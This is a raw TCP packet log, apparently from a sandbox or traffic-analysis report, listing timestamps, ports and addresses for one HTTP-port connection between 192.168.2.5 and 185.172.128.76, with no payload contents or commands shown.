Apr 25, 2024 21:47:55.165405989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165425062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165445089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165452957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165508032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165520906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165524960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165546894 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165551901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165565968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165589094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165596008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165632963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165657997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165673018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165697098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165731907 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165760994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165797949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165826082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165863037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165877104 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165889978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165915012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.165951967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.165987015 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166012049 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166049957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166069031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166085005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166114092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166129112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166140079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166173935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166249037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166260958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166271925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166284084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166295052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166315079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166332960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166366100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166419983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166465998 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166487932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166501045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166521072 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166536093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166558981 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166584015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166594028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166624069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166629076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166649103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166657925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166678905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166732073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166744947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166776896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166791916 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166814089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166837931 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166848898 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166868925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166886091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166924953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166939974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166973114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.166975021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.166997910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167006016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167032957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167063951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167107105 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167114019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167140961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167179108 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167223930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167229891 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167254925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167263985 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167289019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167289019 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167315006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167323112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167349100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167359114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167382002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167392969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167396069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167412996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167426109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167449951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167473078 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167484999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167503119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167503119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167527914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167546034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167560101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167577028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167608976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167623997 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167648077 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167690039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167715073 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167751074 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167777061 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167808056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167820930 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167840004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167864084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167905092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167908907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167943001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.167957067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167969942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.167993069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168008089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168020010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168056011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168061018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168085098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168092966 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168118000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168128967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168140888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168170929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168174028 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168185949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168203115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168210030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168246984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168257952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168291092 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168318033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168330908 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168354034 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168361902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168375969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168387890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168390989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168412924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168423891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168437004 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168447018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168467999 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168489933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168524027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168539047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168571949 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168593884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168637991 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168664932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168678999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168699026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168700933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168715000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168715954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168729067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168730021 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168745995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168749094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168767929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168780088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168791056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168803930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168828011 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168839931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168854952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168890953 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168893099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168926001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.168951035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168963909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.168992996 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.169009924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.169033051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.169070959 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.169081926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.169123888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.169411898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.169460058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.169461012 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.169495106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.369978905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370023012 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370035887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370064020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370091915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370107889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370117903 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370129108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370155096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370157003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370187998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370197058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370225906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370239973 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370280027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370295048 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370311022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370335102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370346069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370356083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370393038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370436907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370477915 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370479107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370507002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370532036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370553017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370583057 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370596886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370610952 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370634079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370650053 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370662928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370697975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370702982 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370740891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370764017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370805979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370821953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370862007 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370865107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370901108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370909929 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370924950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.370950937 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370965958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.370990038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371015072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371042013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371053934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371066093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371093035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371105909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371129036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371145964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371190071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371257067 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371304989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371325016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371361971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371364117 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371400118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371400118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371440887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371454954 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371469975 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371504068 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371520042 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371543884 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371584892 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371592999 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371639013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371649027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371690035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371697903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371711016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371737003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371752977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371795893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371820927 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371845007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371861935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371874094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371913910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371917963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371937037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.371956110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371969938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.371995926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372040033 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372049093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372093916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372095108 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372114897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372133017 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372148037 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372170925 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372210026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372241020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372287035 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372374058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372425079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372517109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372562885 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372571945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372601032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372611046 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372641087 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372658014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372701883 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372705936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372735977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372771978 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372818947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372827053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372864962 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372880936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372930050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.372932911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372988939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.372991085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373003006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373020887 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373034954 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373055935 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373095036 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373121977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373161077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373182058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373208046 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373220921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373243093 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373245955 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373280048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373322010 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373337030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373361111 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373377085 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373389006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373416901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373429060 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373452902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373471022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373509884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373538017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373573065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:47:55.373574972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:47:55.373610973 CEST	49704	80	192.168.2.5	185.172.128.76
